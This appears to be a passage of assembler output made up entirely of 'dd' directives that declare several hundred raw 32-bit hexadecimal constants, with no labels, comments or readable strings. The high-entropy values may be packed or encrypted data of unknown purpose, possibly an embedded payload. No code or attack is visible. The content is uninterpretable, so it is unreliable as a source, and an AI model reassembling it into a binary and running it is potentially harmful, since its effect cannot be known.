		dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
		dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h,	0FF073534h
		dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
		dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
		dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h,	0D5D20A0Ch
		dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
		dd 2AC31000h, 3B558F8h,	33C812A0h, 8FF05DBh, 57A9019Fh
		dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
		dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h,	66085D3Bh
		dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h,	3075448Dh
		dd 0AC09B93Fh, 9109B5h,	0F5EF123Eh, 8BF61EC4h, 0DD807E06h
		dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
		dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
		dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
		dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h,	700F3C5h
		dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
		dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
		dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h,	5D88A03h
		dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh,	1772110h
		dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
		dd 5E1D0064h, 913BA40h,	0E800CEFAh, 0F535AE4Ah,	53CCA9h
		dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh,	0E6600E19h
		dd 2833B32h, 3E92042Ch,	3B66A080h, 7127506h, 76C98500h
		dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
		dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
		dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
		dd 0F01F84h, 1DC8BD4Ch,	0FC485FB9h, 0EFE06B02h,	0F58E412Dh
		dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
		dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
		dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h,	70CAA1Dh
		dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
		dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
		dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
		dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
		dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
		dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
		dd 80792075h, 1757D054h, 11001993h, 0D2515303h,	0A04D14h
		dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
		dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
		dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h,	0C0223Dh
		dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
		dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h,	610D0705h
		dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
		dd 522228DCh, 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h
		dd 0D740A00h, 0ADD73C84h, 4300EC90h, 564B5E2Ah,	1C212C30h
		dd 0DE1D5960h, 40B51F5Bh, 792A4D6h, 2C037389h, 852E56DDh
		dd 352DA0FCh
		dd 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h
		dd 164E912Dh, 0AF6CB8h,	0C20B9557h, 0C050C194h,	2DAD2201h
		dd 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h
		dd 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h
		dd 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h
		dd 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h
		dd 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah
		dd 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h
		dd 2E1F29C4h, 80E7438h,	4254C730h, 17AF9770h, 3F59FA90h
		dd 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h
		dd 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h,	77138B2Ah
		dd 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h,	5E2F412Eh
		dd 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h
		dd 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h
		dd 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h,	0E1002CBCh
		dd 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh,	52000B44h
		dd 7367650Eh, 0EE9320h,	0D3815A84h, 9B64C883h, 71BF1800h
		dd 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h,	41D7408h
		dd 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h
		dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h
		dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h
		dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h,	6CF100F6h
		dd 59AD14B9h, 107D865h,	0C7D8051h, 0BBF27F50h, 5AEB0039h
		dd 1FE81A03h, 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h
		dd 0D03BA520h, 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h
		dd 696FB20h, 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h
		dd 16F2B8D8h, 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah
		dd 6741526h, 5869A703h,	0D8D1D7C2h, 13F681Ch, 3323E1FDh
		dd 0D8458850h, 10FA03B2h, 48A05D3Dh, 7ED20333h,	0C0800F40h
		dd 704CA3Eh, 5E0E8803h,	304AC7C3h, 0C40C51F1h, 0B2262F07h
		dd 3A701B39h, 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h
		dd 0E800F83Eh, 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch
		dd 265FAD56h, 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h
		dd 1E8CED37h, 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h
		dd 7DF9B1E7h, 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h
		dd 0F57A501Fh, 84002065h, 2C413249h, 7944A0h, 70B8220Ah
		dd 62FB53BDh, 190507Fh,	3300A0FCh, 13156A8h, 200BE5h, 5C15D524h
		dd 6051F8C6h, 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h
		dd 10F28019h, 13001109h, 87D18512h, 0EE881848h,	44012C1Ch
		dd 57003F59h, 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh
		dd 503089D9h, 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h
		dd 0C36847C6h, 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h
		dd 4B011029h, 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h
		dd 0A981FBEBh, 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch
		dd 52643155h, 83762AE4h, 0A6187800h, 14D98906h,	0FCCE78FFh
		dd 5A540E40h, 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h,	7430682Eh
		dd 14020800h, 0FE6A24B2h, 3F40F60h, 0AA0129B0h,	0CED8AC10h
		dd 808A3EC0h, 0AF49741Fh, 0DCE82B00h, 0E2F8B2h,	8DFC864Ah
		dd 0D65048A4h, 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h
		dd 6774292Eh, 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h
		dd 946330C3h, 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h
		dd 0CE81DCAAh, 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h
		dd 2F6FFABh, 996625A7h,	4ADEEF7Eh, 3302C900h, 10CE307h
		dd 1C8D180Bh, 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h
		dd 0ABBC0229h, 519ACAA1h, 864BC640h, 5045480Ah,	500B91Fh
		dd 44F0E83Fh, 34CE0095h, 7DDB1EC3h, 0FE033E09h,	1058E665h
		dd 0E7C0F8CDh, 0EA310066h, 110DA5C3h, 100A229h,	0DC1C5E06h
		dd 86957Eh, 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh
		dd 4280E2Eh, 0A54261A6h, 0D0609FA0h, 1C002DE3h,	715FC831h
		dd 934335h, 8D092280h, 89A59644h, 6610B900h, 148EBB8h
		dd 55500018h, 0C395CCCFh, 8300021Fh, 20CD0C10h,	0B0067Dh
		dd 6CE8AAF2h, 0F312C879h, 80037BFEh, 363E2E26h,	6A65D064h
		dd 0CD770006h, 234D836Dh, 9DB0145Bh, 15A65E14h,	0A39400D5h
		dd 0BEA09A95h, 74EB0D3h, 3F8624FEh, 0E72230D2h,	420F01B7h
		dd 56A57h, 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh
		dd 452401DBh, 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah
		dd 9DC0C100h, 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h
		dd 10B3D0F0h, 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h
		dd 7C09E381h, 0B6430403h, 0C0C0D3A0h, 0D80108h,	48469466h
		dd 65AD7AAAh, 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h
		dd 26076B24h, 303CC200h, 0ED805889h, 66813BB3h,	5AA59Fh
		dd 0D485F442h, 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah
		dd 8B2EC6AAh, 0ED779201h, 0B151520Ah, 45AC0E0h,	0B88DC850h
		dd 0D137837Ch, 38302880h, 130B0300h, 2B230A1Bh,	0AA5E0033h
		dd 8084B14Ah, 0A200C0C7h, 6AB550B6h, 1D35C5AEh,	3EF58B98h
		dd 0CAB803F9h, 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh
		dd 1733C55h, 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah
		dd 0FEE16753h, 6E010028h, 91F93538h, 22009409h,	0DAC144AAh
		dd 16EC89h, 693E552h, 92EA3FEh,	3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
		dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h
		dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h,	74ECAC16h
		dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h,	0EC9E3937h
		dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh,	0AD39DE9Fh
		dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h,	2D004FF3h
		dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h
		dd 708498A4h, 0FEF28Fh,	736B6FF2h, 8CAA5524h, 8E749001h
		dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah
		dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h,	0CD3A7180h
		dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h,	2EB1215Eh
		dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh,	46002FC6h
		dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h
		dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh
		dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h
		dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh
		dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h
		dd 136FCA5h, 75323C48h,	0C8180C24h, 0AE0F1499h,	0E0232091h
		dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh,	47F20079h
		dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h,	1C1DE2FEh
		dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh
		dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh
		dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h,	2A0B24C3h
		dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh
		dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh,	0C20098D1h
		dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h
		dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h
		dd 3F0044C4h, 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh
		dd 2018421Ch, 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh
		dd 41B1D44Fh, 11010033h, 0A4400343h, 6700DE34h,	0D8B4D753h
		dd 88FC3Fh, 0DAAD330Ch,	24CDC029h, 0F753FE00h, 1CA7A5D2h
		dd 3E500195h, 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh
		dd 6A697F80h, 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch
		dd 0D044CF07h, 32EB6D70h, 40B20007h, 343F0937h,	26002D1Fh
		dd 18465698h, 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h
		dd 8339B045h, 0D5CFAAh,	0A81AC91Ch, 0BBA5EDDAh,	5A962F0Eh
		dd 0D748C0A4h, 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h
		dd 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh, 20A9840Ch,	0E4EC3Ah
		dd 0AA5382B6h, 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h
		dd 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h, 6425A0FBh,	0A60C0F17h
		dd 758F9339h, 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh
		dd 636E2A1h, 3465401h, 76007662h, 0E8028891h, 30D7B5Ah
		dd 707E843Bh, 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h
		dd 0D12A4FCh, 7A340047h, 0E804C8B9h, 7E3CC0ADh,	8770808Eh
		dd 4DBEE269h, 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch
		dd 0B5BCC025h, 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah
		dd 13DF8C00h, 883F0848h, 0A58B01B0h, 5E956B77h,	0BBBD3092h
		dd 0D3005BF0h, 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h
		dd 587CC80Bh, 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h
		dd 320009E5h, 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h
		dd 37B47E01h, 4E05ACBEh, 0B16FE8C7h, 393B3827h,	7822F980h
		dd 0BF8EC59h, 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah
		dd 11601674h, 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh
		dd 8AFA2730h, 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h
		dd 0FF8E2E25h, 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h
		dd 37F4062h, 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah,	0C35691Fh
		dd 455ACD00h, 0E79117h,	324A8110h, 22C2098Fh, 0EFB8B000h
		dd 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h
		dd 1BDE453h, 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h
		dd 88C9172Fh, 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah
		dd 0C73D9C15h, 388712h,	0E1B5358Eh, 207B3AD8h, 3C5A101Ch
		dd 0A14C2FCFh, 0EA9E0942h, 0C732D8h, 14FB89B0h,	3CDDA53Ah
		dd 0A75DD901h, 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh
		dd 7E0007F8h, 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h
		dd 8CE0336Dh, 0C81E1479h, 47895C00h, 9298714Dh,	4ED51D64h
		dd 7D2E40F1h, 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h
		dd 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh
		dd 487109h, 22759166h, 0A9944487h, 15BD8900h, 79566AA8h
		dd 3A430913h, 5900DBB3h, 0A2580693h, 1D52FB00h,	9E947E59h
		dd 1E3600F5h, 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h
		dd 2BE00051h, 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h
		dd 4815F4CAh, 0C4002940h, 24269DF7h, 8D00090Ah,	6B5867EBh
		dd 0E106F0h, 86C403AFh,	912C2040h, 2A621D01h, 4F28023Fh
		dd 0B866F8h, 0A2F49C92h, 1C575E09h, 0DF956700h,	729A3F2Eh
		dd 0A1651C96h, 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h
		dd 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h
		dd 54D20050h, 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh
		dd 70AC4EA8h, 5FD5BD1h,	95796406h, 90740B9Dh, 11FEE7h
		dd 2DAD3FB5h, 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h
		dd 0F300FCBBh, 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h
		dd 0A4AA0075h, 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh
		dd 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch
		dd 3DBA0EA4h, 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h
		dd 0D10B1DACh, 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h
		dd 96554152h, 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h
		dd 6B2F135Ch, 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h
		dd 77A98F27h, 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh
		dd 13CA6Eh, 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h
		dd 2D900089h, 98F50CE6h, 0D7975F4h, 0BB167B00h,	310157FDh
		dd 0C353064Bh, 662230EBh, 130073B8h, 90FA0681h,	53B858h
		dd 0AB2CDC59h, 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h
		dd 70E4BDB3h, 0F2213EB5h, 34232CFFh, 0CD00F37h,	604485A7h
		dd 31382433h, 80522831h, 54E41940h, 87C99h, 144B2C11h
		dd 7955A41Ah, 74A17D07h, 8B9303E8h, 0F60AB024h,	0B35300DDh
		dd 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh
		dd 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h
		dd 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h
		dd 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah
		dd 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh
		dd 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h
		dd 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh,	0D9754F01h
		dd 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h,	373FE828h
		dd 1AC758h, 0EC99EA24h,	5FA858h, 264C4442h, 5B2DAF53h
		dd 0E094D500h, 3B1C98C4h, 74F9A0BEh, 547300ECh,	3ED6AA20h
		dd 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h, 360040D0h
		dd 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h, 50EEA6h
		dd 19D0DC7Ch, 0D3245303h
		dd 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h
		dd 5F39DB31h, 0D8E2B0h,	7E1DFD94h, 7CF60542h, 82000EE6h
		dd 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h
		dd 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h,	0AFC8A500h
		dd 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h,	0E0E8515Fh
		dd 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h
		dd 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh
		dd 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh
		dd 3D817256h, 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h
		dd 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h
		dd 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h
		dd 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h,	88B3638Ah
		dd 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch
		dd 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh
		dd 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh
		dd 0FEA7132h, 7607B91h,	149500D7h, 0AAD504F0h, 0F7303Bh
		dd 5BDE97D1h, 107EB8Bh,	5DC9CAD4h, 0E8871067h, 0D50027E9h
		dd 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh
		dd 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah
		dd 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah
		dd 70571908h, 871D79FAh, 54CF2088h, 803C004Ah, 638A551h
		dd 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h,	1877F2h
		dd 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h, 14510010h
		dd 22836350h, 7D5C4161h, 73760E0Dh, 0BF67606Eh,	44704Eh
		dd 680E4A19h, 47667157h, 407C4100h, 6E727660h, 4CE900F9h
		dd 6BC47ADDh, 6409F07Fh, 80A66974h, 534018CFh, 48770061h
		dd 0B37C577Dh, 4E019046h, 7BE16ED3h, 62F89E67h,	8E700EF9h
		dd 0FF1C1743h, 826C6F1Fh, 603B7165h, 731ECBC0h,	5F697D02h
		dd 0E09EBE44h, 1E20AA15h, 800E1343h, 522A6670h,	71000C9Bh
		dd 0EE4A7A73h, 0F888DE65h, 1243001Ch, 3637E72h,	61776D55h
		dd 0B0604A00h, 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch
		dd 45B0711Ch, 743961C2h, 6EF6E063h, 0C7D81DADh,	66F1404Dh
		dd 76CC6A4Fh, 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch
		dd 4B000E73h, 0EA6F4363h, 581862h, 6C1C6847h, 77875166h
		dd 31706B00h, 1D466365h, 74487140h, 1F077972h, 80615167h
		dd 74945527h, 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh
		dd 429E0078h, 13048FEh,	6A0E654Bh, 0C7636961h, 0D3E128C0h
		dd 87C421FBh, 0F860F834h, 681E009Fh, 486E38BFh,	95073052h
		dd 1447CA1Ch, 3741150h,	61670046h, 60886376h, 8BA05677h
		dd 6D000A62h, 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h
		dd 0E0FE626Bh, 9E68573Eh, 0EA0BE276h, 24C8045h,	3140E65h
		dd 1830A560h, 48B07742h, 0B6006C63h, 74417289h,	613A71h
		dd 1C0696Bh, 7A7B6DCBh,	0B7C24400h, 5A0D10DCh, 0E01C7AE1h
		dd 0B82A0175h, 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h
		dd 84CB00A4h, 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh
		dd 7B2B4CE4h, 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h
		dd 14101E15h, 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h
		dd 17403AF6h, 21742B80h, 1CA73E16h, 0BA98FF00h,	61C40775h
		dd 1D4775F7h, 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h
		dd 1B147945h, 0D2380457h, 81E7E0FBh, 60F1FFD3h,	24007CB5h
		dd 2D46DD69h, 0EBFF497h, 0D55349Fh, 0F7A42520h,	9178C912h
		dd 14B8801Fh, 8C850F00h, 0F2AEB19h, 0CE906544h,	7481644Fh
		dd 71830E54h, 0D020CD66h, 1A004240h, 122E3C32h,	262FE175h
		dd 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h
		dd 71110E44h, 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh
		dd 0D0FA00A4h, 53451BACh, 9000C343h, 4ECC175Ch,	0B140A8h
		dd 100E5BE5h, 0ECF17A24h, 28B80AEEh, 58A01A00h,	1BE82654h
		dd 8BA71D76h, 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h
		dd 884E0055h, 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h,	7A768B25h
		dd 0AA830E12h, 5A204E7Eh, 7AD026BEh, 2844B51Fh,	1100B8D3h
		dd 0FC5D8E40h, 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h
		dd 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh, 7A325434h,	0A556EC00h
		dd 93FAB2AAh, 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh
		dd 25378AAh, 8CA82F21h,	436084DBh, 0FC7A46E9h, 930157F0h
		dd 0C40C21CCh, 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh
		dd 0FF7D42B9h, 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch
		dd 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h
		dd 4ABF5CC3h, 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h
		dd 0E885D959h, 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h
		dd 365097h, 0D9028E0Fh,	0C80F6CADh, 40160615h, 0EA9674Ch
		dd 11758Dh, 0B7987827h,	0C514D885h, 3C958700h, 0A15DAF9Fh
